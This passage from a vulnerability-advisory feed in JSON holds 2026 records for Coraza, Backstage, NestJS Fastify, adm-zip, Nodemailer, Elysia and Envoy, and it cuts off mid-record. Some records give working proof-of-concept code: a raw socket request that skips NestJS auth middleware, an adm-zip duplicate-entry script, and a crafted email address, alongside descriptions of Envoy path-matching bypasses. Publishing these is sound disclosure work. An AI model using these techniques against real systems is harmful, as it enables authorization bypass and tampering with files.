and\nremains affected even when Coraza is built with\n`coraza.rule.case_sensitive_args_keys`, since that tag does not change\n`RESPONSE_ARGS`'s case-insensitivity.\n\n### Fix\n\nUse `col.Add(key, value)` instead of `col.SetIndex(key, i, value)`. `Add`\nalways appends regardless of any index, so both a same-case collision (this\nadvisory's original case: one `data` key holding an ordered slice of values)\nand a case-folding collision (two different `data` keys landing in the same\nbucket) end up with every value preserved. The existing regression test for\nthe original collision\n(`TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`, which asserts a\nspecific value order) still passes unchanged, since a single `data` key's\nown value order is unaffected by switching from indexed writes to appends. A\nnew `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue` (order\nindependent, since the two colliding values now come from different `data`\nkeys whose relative processing order is randomized) fails deterministically\nagainst the pre-fix code (asserts 2 values, gets 1, every run) and passes\nafter the fix.\n\nFull suite, build-tag matrix (`coraza.no_memoize`,\n`coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`,\n`coraza.rule.case_sensitive_args_keys`), and `testing/coreruleset` CRS\nregression suite all pass. ADR-0058 has been amended with the same\nfollow-up note (still `proposed`, so amending in place is appropriate rather\nthan superseding it).\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro\n  shape (including the CRS block-rate figures) were supplied by the\n  reporter as an existing written finding; Claude Sonnet 5 independently\n  re-derived the root cause by reading the current source\n  (`internal/bodyprocessors/json.go`, `internal/collections/map.go`),\n  reproduced the overwrite empirically (200-trial measurement against\n  commit `19b86824`), verified the fix closes the gap, and drafted this\n  addendum and the ADR-0058 amendment.\n- **Review performed:** reproduced by hand against a clean checkout of\n  commit `19b86824` before and after the fix, confirming the pre-fix code\n  always yields exactly one survivor (never both, never neither) and the\n  post-fix code always yields both; added and ran\n  `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue`, confirmed it\n  fails against the pre-fix code and passes against the fix, and confirmed\n  the pre-existing `TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`\n  (order-sensitive) still passes unchanged; ran the full test suite, the\n  build-tag matrix, and the `testing/coreruleset` CRS regression suite, all\n  green; reviewed by a human maintainer (fzipi) before this addendum was\n  submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-5gj4-9gm7-2fx2/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: JSON object keys that differ only in case (`role` / `Role`) no longer overwrite each other in `ARGS_POST` and `RESPONSE_ARGS`, which are case-insensitive by default. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: every mainstream JSON parser keeps the colliding properties apart, so the request alone triggers the discrepancy. The previous vector (`S:U/I:H`, 7.5 High) scored the bypass as a direct, total integrity loss; it is scored here like Coraza's other inspection bypasses.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.1"],"cwes":["CWE-20","CWE-436"],"tags":["osv","osv:ghsa-5gj4-9gm7-2fx2","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-5gj4-9gm7-2fx2","type":"advisory","title":"OSV GHSA-5gj4-9gm7-2fx2"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-5gj4-9gm7-2fx2","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/52af139cab5ad10c5cb0152a161063b523907bdf","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/5f577a548aeb9ca836122df4258f93ef6cfab38a","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:45:31.000Z","addedAt":"2026-10-08T18:42:42.103Z","updatedAt":"2026-10-08T18:42:42.103Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-5gj4-9gm7-2fx2"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-5gj4-9gm7-2fx2"}]},{"id":"094b4241-30e3-4340-a8d6-92e6b1b8d11b","slug":"cve-2026-106505","externalId":"CVE-2026-106505","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-106505 — Backstage is an open framework for building developer portals.","description":"Backstage is an open framework for building developer portals. Prior to 1.14.6 and 1.15.4, the @backstage/plugin-techdocs-node package is affected by bypass of mkdocs configuration sanitizer in techdocs backend. Users with the ability to commit changes to a repository that uses TechDocs can circumvent the MkDocs configuration file sanitizer introduced in response to CVE-2026-25153 and execute arbitrary code on the TechDocs backend host during documentation generation. This issue is fixed in versions 1.14.6 and 1.15.4.","cveId":"CVE-2026-106505","cvssScore":7.7,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L","severity":"high","vendor":"npm","product":"@backstage/plugin-techdocs-node","affectedVersions":["pkg:npm/%40backstage/plugin-techdocs-node < 1.15.4"],"cwes":["CWE-426","CWE-436"],"tags":["nvd","status:received","status:awaiting-analysis","osv","osv:ghsa-p75x-jh7p-ppcx","ecosystem:npm"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/backstage/backstage/commit/a7d995f11a5d27f0efbdbe8bb6c21b06988c79c9","type":"other","title":"OSV web"},{"url":"https://github.com/backstage/backstage/commit/ef92d3d2b76046205c580e7152956514c15640db","type":"other","title":"OSV web"},{"url":"https://github.com/backstage/backstage/releases/tag/v1.50.5","type":"other","title":"OSV web"},{"url":"https://github.com/backstage/backstage/releases/tag/v1.54.6","type":"other","title":"OSV web"},{"url":"https://github.com/backstage/backstage/security/advisories/GHSA-p75x-jh7p-ppcx","type":"other","title":"OSV web"},{"url":"https://osv.dev/vulnerability/GHSA-p75x-jh7p-ppcx","type":"advisory","title":"OSV GHSA-p75x-jh7p-ppcx"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106505","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/backstage/backstage","type":"vendor","title":"OSV package"}],"epssScore":0.00274,"epssPercentile":0.18182,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-06T22:17:05.837Z","addedAt":"2026-10-06T22:39:33.234Z","updatedAt":"2026-10-07T18:42:44.455Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106505","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-106505","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-P75X-JH7P-PPCX"}]},{"id":"5bc1045c-dfa6-428a-83ee-e4a3bc224a39","slug":"ghsa-9c5c-9qcx-q35q","externalId":"GHSA-9c5c-9qcx-q35q","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"@nestjs/platform-fastify: Path-scoped middleware bypass via absolute-form request targets","description":"| Field | Value |\n| --- | --- |\n| Ecosystem | npm |\n| Package | `@nestjs/platform-fastify` |\n| Affected versions | `>= 12.0.0, < 12.0.2` and `< 11.2.4` |\n| Patched versions | `12.0.2` and `11.2.4` (upgrade to `12.0.3` / `11.2.5`) |\n\n### Summary\n\nOn the Fastify adapter, an HTTP request that uses an **absolute-form request target** (`GET http://host/path HTTP/1.1`\ninstead of `GET /path HTTP/1.1`) reaches the route handler without running the path-scoped Nest middleware bound to\nthat route. Applications that enforce authentication or authorization in middleware execute the protected handler\nwith those checks skipped.\n\n### Impact\n\nAny application that\n\n- uses `@nestjs/platform-fastify`, and\n- binds middleware to specific paths via `MiddlewareConsumer.forRoutes(...)` or `.exclude(...)`, and\n- is reachable by a client that controls the raw request line.\n\nNode's HTTP server accepts absolute-form targets, so no special server configuration is needed. Exposure is reduced\nwhen a reverse proxy in front of the application rewrites the request target to origin-form, which most do.\n\nWhere the bypassed middleware performs authentication or authorization, the result is an authentication or\nauthorization bypass. Where it performs logging, rate limiting or body handling, those are silently skipped instead.\n\n### Details\n\nFastify's router (`find-my-way`) resolves an absolute-form target to its path before matching, so the route handler\nis dispatched normally. Two places on the middleware side matched against the **raw** request target instead:\n\n1. The bundled copy of the `@fastify/middie` engine at `packages/platform-fastify/adapters/middie/fastify-middie.ts`.\n   NestJS carried this fork to apply an earlier path-decoding fix and it did not track the upstream absolute-form fix\n   released in `@fastify/middie@9.3.4`.\n2. `FastifyAdapter`'s own re-check in `createMiddlewareFactory()`, which tests the middleware path regexp against\n   `req.originalUrl`.\n\nBoth normalized and percent-decoded the target, but neither resolved absolute-form to a path, so the router and the\nmiddleware layer disagreed about which path was being requested.\n\nA second, related defect contributed. Because the adapter always passes `routerOptions` (to install the version\nconstraint), Fastify did not reflect the deprecated **top-level** router options (`ignoreTrailingSlash`,\n`ignoreDuplicateSlashes`, `caseSensitive`, `useSemicolonDelimiter`) in `initialConfig.routerOptions`, which is what\nthe middleware engine reads. Applications passing those options at the top level had middleware normalize paths\ndifferently from the router, which widened the mismatch.\n\n### Proof of concept\n\n```ts\n@Controller('users')\nexport class UsersController {\n  @Get()\n  findAll() {\n    return 'protected data';\n  }\n}\n\n@Module({ controllers: [UsersController] })\nexport class AppModule implements NestModule {\n  configure(consumer: MiddlewareConsumer) {\n    consumer\n      .apply((req, res) => res.end('blocked by auth middleware'))\n      .forRoutes({ path: 'users', method: RequestMethod.GET });\n  }\n}\n```\n\n`supertest` and `light-my-request` always emit origin-form targets, so the request has to be written to the socket:\n\n```js\nconst { connect } = require('node:net');\n\nconst socket = connect(3000, '127.0.0.1', () => {\n  socket.write(\n    'GET http://127.0.0.1:3000/users HTTP/1.1\\r\\n' +\n      'Host: 127.0.0.1:3000\\r\\n' +\n      'Connection: close\\r\\n\\r\\n',\n  );\n});\nsocket.pipe(process.stdout);\n```\n\nObserved on an affected version: `protected data` — the middleware did not run.\nExpected, and observed on a patched version: `blocked by auth middleware`.\n\n### Patches\n\nFixed in **12.0.2** and **11.2.4**. Upgrading to **12.0.3** or **11.2.5** is recommended.\n\n- The bundled `@fastify/middie` fork was removed and the package now depends on `@fastify/middie@9.3.4`, which\n  resolves absolute-form targets before matching.\n- The adapter resolves absolute-form targets in its own route check, mirroring `find-my-way`.\n- Deprecated top-level Fastify router options are folded into `routerOptions` so the middleware engine and the\n  router normalize paths identically.\n\n### Workarounds\n\nIf you cannot upgrade, reject non-origin-form request targets before middleware runs. Register the hook on the\nFastify instance **before the application is initialized**, so that it runs ahead of the middleware engine's own\n`onRequest` hook, and confirm with the request above that the rejection takes effect:\n\n```ts\nconst adapter = new FastifyAdapter();\nadapter.getInstance().addHook('onRequest', (request, reply, done) => {\n  const target = request.raw.url ?? '';\n  // \"*\" is the legitimate request target of \"OPTIONS * HTTP/1.1\"\n  if (target[0] !== '/' && target !== '*') {\n    reply.code(400).send();\n    return;\n  }\n  done();\n});\n```\n\nRejecting or normalizing absolute-form targets at a reverse proxy in front of the application is equally effective.\n\n### Credit\n\nReported by ZeroVuln Labs.","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","severity":"high","vendor":"npm","product":"@nestjs/platform-fastify","affectedVersions":["pkg:npm/%40nestjs/platform-fastify < 11.2.4","pkg:npm/%40nestjs/platform-fastify >= 12.0.0, < 12.0.2"],"cwes":["CWE-288","CWE-436"],"tags":["osv","osv:ghsa-9c5c-9qcx-q35q","ecosystem:npm"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-9c5c-9qcx-q35q","type":"advisory","title":"OSV GHSA-9c5c-9qcx-q35q"},{"url":"https://github.com/fastify/middie/security/advisories/GHSA-hx87-8wv7-pjv8","type":"other","title":"OSV web"},{"url":"https://github.com/nestjs/nest/security/advisories/GHSA-9c5c-9qcx-q35q","type":"other","title":"OSV web"},{"url":"https://github.com/nestjs/nest/pull/17737","type":"other","title":"OSV web"},{"url":"https://github.com/nestjs/nest/commit/5226fe084cf64b357de436f154bc89f2d319b621","type":"other","title":"OSV web"},{"url":"https://github.com/nestjs/nest/commit/dda252090ecb65009d9ff366444303796fc44fd7","type":"other","title":"OSV web"},{"url":"https://github.com/nestjs/nest","type":"vendor","title":"OSV package"},{"url":"https://github.com/nestjs/nest/releases/tag/v11.2.4","type":"other","title":"OSV web"},{"url":"https://github.com/nestjs/nest/releases/tag/v12.0.2","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-30T14:41:39.000Z","addedAt":"2026-09-30T19:54:24.807Z","updatedAt":"2026-09-30T19:54:24.807Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-9c5c-9qcx-q35q"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-9c5c-9qcx-q35q"}]},{"id":"de98eb0c-a877-44f3-a6f6-c9724459c2a3","slug":"ghsa-p634-w6r4-rjp2","externalId":"GHSA-p634-w6r4-rjp2","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"adm-zip: Duplicate ZIP entry names: getEntry() and extractAllTo() resolve to different content","description":"### Summary\n\nA ZIP file can contain two entries with the identical name. adm-zip keeps both in its internal entry list, but its name-lookup table only retains the last one written. `getEntry(name)` and `extractAllTo()` walk these two different internal structures, so they can each resolve a duplicate name to a *different* entry. An application that validates a named entry's contents via `getEntry()` before trusting an archive, then extracts the whole archive, can end up approving one file's content while a different file's bytes are what actually land on disk under that name.\n\n### Details\n- `zipFile.js:58-83` retains both entries in `entryList` but overwrites `entryTable[name]` with only the last one written.\n- `adm-zip.js:83-95,658-663` uses `entryTable` for `getEntry()` lookups — returns the *last* duplicate.\n- `adm-zip.js:769-914` iterates `entryList` for extraction — writes the *first* duplicate (sync, default overwrite policy).\n\n\n### PoC\n```js\nconst AdmZip = require('adm-zip');\nconst z = new AdmZip({ noSort: true });\nz.addFile('a.txt', Buffer.from('FIRST'));\nz.addFile('b.txt', Buffer.from('SECOND'));\nconst raw = Buffer.from(z.toBuffer());\n// rename the a.txt entry to b.txt directly in the raw bytes\nfor (let at = raw.indexOf('a.txt'); at >= 0; at = raw.indexOf('a.txt', at + 5)) {\n  raw.write('b.txt', at);\n}\nconst parsed = new AdmZip(raw, { noSort: true });\nconst validated = parsed.getEntry('b.txt').getData().toString();\nparsed.extractAllTo(outDir, false);\n// validated === \"SECOND\", but the file written to disk === \"FIRST\"\n```\n\nReproduced on the pinned commit (`2b4d84087d45344643e0183756e19191d52815cc`)\n\n### Impact\nAn application that checks a named entry's content before trusting an untrusted ZIP, then extracts it, can be made to approve different bytes than what actually gets written to disk — the classic check/use split that this kind of validate-then-extract pattern relies on.","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N","severity":"medium","vendor":"npm","product":"adm-zip","affectedVersions":["pkg:npm/adm-zip < 0.6.1"],"cwes":["CWE-436","CWE-696"],"tags":["osv","osv:ghsa-p634-w6r4-rjp2","ecosystem:npm"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-p634-w6r4-rjp2","type":"advisory","title":"OSV GHSA-p634-w6r4-rjp2"},{"url":"https://github.com/cthackers/adm-zip/security/advisories/GHSA-p634-w6r4-rjp2","type":"other","title":"OSV web"},{"url":"https://github.com/cthackers/adm-zip/commit/05101d47b3b983b705cc3e66fc34366118ba7b99","type":"other","title":"OSV web"},{"url":"https://github.com/cthackers/adm-zip","type":"vendor","title":"OSV package"},{"url":"https://github.com/cthackers/adm-zip/releases/tag/v0.6.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-29T23:11:01.000Z","addedAt":"2026-09-30T01:54:27.529Z","updatedAt":"2026-09-30T01:54:27.529Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-p634-w6r4-rjp2"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-p634-w6r4-rjp2"}]},{"id":"d2480f71-c3bb-4502-9747-d903b33392b5","slug":"cve-2026-100699","externalId":"CVE-2026-100699","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-100699 — Nodemailer is a Node.js email-sending library.","description":"Nodemailer is a Node.js email-sending library. In versions >= 9.1.0 and < 10.0.9, the address parser (src/addressparser) mishandles addresses whose local-part is a quoted string and that are followed by RFC 5322 comments, allowing trailing comment-separated domain atoms to be retained in the normalized address. For example, the input \"user\"@example.com(x)evil.com is parsed to the address value 'user@example.com evil.com', which contains additional attacker-controlled domain text separated by a literal space. This parsed value is used without further strict recipient validation when the message envelope is built (envelope.to in src/mime-node), so a malformed/ambiguous recipient address can be accepted and placed in the SMTP envelope. Whether this results in delivery to an unintended recipient on real SMTP servers has not been confirmed. The issue is a variant of the RFC 5322 comment parsing problem addressed in GHSA-cc9r-2j5m-2m83, affecting the separate quoted-local-part code path. Version 10.0.9 contains a fix.","cveId":"CVE-2026-100699","cvssScore":6.9,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"medium","vendor":"npm","product":"nodemailer","affectedVersions":["pkg:npm/nodemailer >= 9.1.0, < 10.0.9"],"cwes":["CWE-20","CWE-436"],"tags":["nvd","status:received","osv","osv:ghsa-g57g-f23g-4646","ecosystem:npm","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-g57g-f23g-4646","type":"advisory","title":"134c704f-9b21-4f2e-91b3-4a467353bcc0"},{"url":"https://www.vulncheck.com/advisories/nodemailer-before-10.0.9-malformed-envelope-recipient-via-rfc-5322-comment","type":"advisory","title":"disclosure@vulncheck.com"},{"url":"https://osv.dev/vulnerability/GHSA-g57g-f23g-4646","type":"advisory","title":"OSV GHSA-g57g-f23g-4646"},{"url":"https://github.com/nodemailer/nodemailer/commit/2f36eb1aa1dd33e312411dc9b888548e14db54ee","type":"other","title":"OSV web"},{"url":"https://github.com/nodemailer/nodemailer","type":"vendor","title":"OSV package"},{"url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.9","type":"other","title":"OSV web"}],"epssScore":0.00193,"epssPercentile":0.0821,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-26T14:16:54.867Z","addedAt":"2026-09-26T15:50:38.359Z","updatedAt":"2026-09-30T17:50:45.249Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100699","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-100699","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-G57G-F23G-4646"}]},{"id":"b40215e7-2ecd-4e4e-a89d-918daca79998","slug":"cve-2026-56669","externalId":"GHSA-9643-4qgh-g8mx","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"elysia has Inefficient Algorithmic Complexity and Interpretation Conflict","description":"Elysia v1.4.28 is vulnerable to denial-of-service attacks due to CPU exhaustion in the form data normalization code.\n\nElysia uses `getAll` to retrieve value from FormData. It is called directly relative to the total number of key-value pairs in the form data. The total amount of work the for loop has to do grows quadratically, so doubling the number of unique key-value pairs quadruples the amount of work. In the above PoC, each .getAll call scans through all of the `n` key-value pairs in the form data. Because there are `n` unique keys in the form data, there are .getAll calls, so in total the form data normalizer has to scan `n` x `n` key-value pairs.\n\n### Impact\nEndpoints using `multipart/form-data`\n\n### Patches\n1.4.29\n\n### Workarounds\nno 100% confirm workaround beside updating the patch","cveId":"CVE-2026-56669","cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","severity":"high","vendor":"npm","product":"elysia","affectedVersions":["pkg:npm/elysia < 1.4.29"],"cwes":["CWE-407","CWE-436"],"tags":["osv","osv:ghsa-9643-4qgh-g8mx","ecosystem:npm"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-9643-4qgh-g8mx","type":"advisory","title":"OSV GHSA-9643-4qgh-g8mx"},{"url":"https://github.com/elysiajs/elysia/security/advisories/GHSA-9643-4qgh-g8mx","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56669","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/elysiajs/elysia/commit/8358ff9efbcedf9534995f5977f26b9ceab59329","type":"other","title":"OSV web"},{"url":"https://gist.github.com/jviide/ea040eabe7bac058326174e2cd42dfd9","type":"other","title":"OSV web"},{"url":"https://github.com/elysiajs/elysia","type":"vendor","title":"OSV package"},{"url":"https://github.com/elysiajs/elysia/releases/tag/1.4.29","type":"other","title":"OSV web"}],"epssScore":0.0063,"epssPercentile":0.48556,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-23T21:54:50.000Z","addedAt":"2026-09-24T01:54:30.727Z","updatedAt":"2026-09-24T01:54:30.727Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56669","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-56669","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-9643-4qgh-g8mx"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-9643-4qgh-g8mx"}]},{"id":"c51893a6-9661-40a1-b1d2-63665ad267e5","slug":"cve-2026-73553","externalId":"CVE-2026-73553","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-73553 — Envoy is an open source edge and service proxy designed for cloud-native applications.","description":"Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, When ignore_path_parameters_in_path_matching is enabled, Envoy's router strips the semicolon suffix before matching but the RBAC url_path matcher evaluates the raw path. A downstream request such as /admin;x can therefore miss a DENY rule for /admin while the router still selects the protected /admin backend. The inconsistent canonicalization allows an unauthenticated client to bypass path-based authorization. The relevant scope boundary is that the route option and a path-based RBAC rule must both be present, and the protected route must match after stripping. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.","cveId":"CVE-2026-73553","cvssScore":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N","severity":"high","vendor":"envoyproxy","product":"envoy","affectedVersions":["< 1.36.10",">= 1.37.0, < 1.37.6",">= 1.38.0, < 1.38.4",">= 1.39.0, < 1.39.1"],"cwes":["CWE-436"],"tags":["nvd","status:received","status:awaiting-analysis","status:analyzed"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":true,"patchLinks":["https://github.com/envoyproxy/envoy/commit/0be4a0302ea94a894e470817c2edfbd5ed90d273","https://github.com/envoyproxy/envoy/commit/6a703a375a20e3bf98140ee5f5522c614adee7b6","https://github.com/envoyproxy/envoy/commit/b6ec9b66cc33a415e2fa81a6fa8363cac4772dd1","https://github.com/envoyproxy/envoy/commit/e6d5fe885409ebb335ed3934a167f0bcfea471f2"],"references":[{"url":"https://github.com/envoyproxy/envoy/commit/0be4a0302ea94a894e470817c2edfbd5ed90d273","type":"patch","title":"Patch"},{"url":"https://github.com/envoyproxy/envoy/commit/6a703a375a20e3bf98140ee5f5522c614adee7b6","type":"patch","title":"Patch"},{"url":"https://github.com/envoyproxy/envoy/commit/b6ec9b66cc33a415e2fa81a6fa8363cac4772dd1","type":"patch","title":"Patch"},{"url":"https://github.com/envoyproxy/envoy/commit/e6d5fe885409ebb335ed3934a167f0bcfea471f2","type":"patch","title":"Patch"},{"url":"https://github.com/envoyproxy/envoy/releases/tag/v1.36.10","type":"advisory","title":"Release Notes"},{"url":"https://github.com/envoyproxy/envoy/releases/tag/v1.37.6","type":"advisory","title":"Release Notes"},{"url":"https://github.com/envoyproxy/envoy/releases/tag/v1.38.4","type":"advisory","title":"Release Notes"},{"url":"https://github.com/envoyproxy/envoy/releases/tag/v1.39.1","type":"advisory","title":"Release Notes"},{"url":"https://github.com/envoyproxy/envoy/security/advisories/GHSA-77x5-xqjg-hprq","type":"vendor","title":"Exploit"}],"epssScore":0.00507,"epssPercentile":0.41382,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-21T21:17:09.637Z","addedAt":"2026-09-21T21:50:38.388Z","updatedAt":"2026-10-05T15:50:46.118Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73553","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-73553","note":"authoritative record"}]},{"id":"9ccfe0b2-d92f-408d-a841-840245597330","slug":"cve-2026-73511","externalId":"CVE-2026-73511","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-73511 — Envoy is an open source edge and service proxy designed for cloud-native applications.","description":"Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy normally matches the raw request path, while servlet backends such as Apache Tomcat strip semicolon matrix parameters from each path segment before resolving the resource. Envoy's ignore_path_parameters_in_path_matching option instead truncates at the first semicolon and still does not match per-segment backend behavior. A remote client can use a parameterized protected segment, or a parameter on an earlier segment, to make Envoy select an unprotected fallback while the backend resolves the protected resource. The relevant scope boundary is that the bypass requires both a path-based Envoy decision and a backend that strips semicolon parameters per segment. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.","cveId":"CVE-2026-73511","cvssScore":5.3,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","severity":"medium","vendor":"envoyproxy","product":"envoy","affectedVersions":["< 1.36.10",">= 1.37.0, < 1.37.6",">= 1.38.0, < 1.38.4",">= 1.39.0, < 1.39.1"],"cwes":["CWE-289","CWE-436"],"tags":["nvd","status:received","status:undergoing-analysis","status:analyzed"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":true,"patchLinks":["https://github.com/envoyproxy/envoy/commit/26d5","https://github.com/envoyproxy/envoy/commit/50f7bfa48dccfee339822e9846b2b8053e07d325","https://github.com/envoyproxy/envoy/commit/b205d1f4982e14ce5693ba94ef84d37e7155e050","https://github.com/envoyproxy/envoy/commit/fcb663752c7055257f5dcc8b6ce6c7c905ebb1ff"],"references":[{"url":"https://github.com/envoyproxy/envoy/commit/26d5","type":"patch","title":"Patch"},{"url":"https://github.com/envoyproxy/envoy/commit/50f7bfa48dccfee339822e9846b2b8053e07d325","type":"patch","title":"Patch"},{"url":"https://github.com/envoyproxy/envoy/commit/b205d1f4982e14ce5693ba94ef84d37e7155e050","type":"patch","title":"Patch"},{"url":"https://github.com/envoyproxy/envoy/commit/fcb663752c7055257f5dcc8b6ce6c7c905ebb1ff","type":"patch","title":"Patch"},{"url":"https://github.com/envoyproxy/envoy/releases/tag/v1.36.10","type":"advisory","title":"Release Notes"},{"url":"https://github.com/envoyproxy/envoy/releases/tag/v1.37.6","type":"advisory","title":"Release 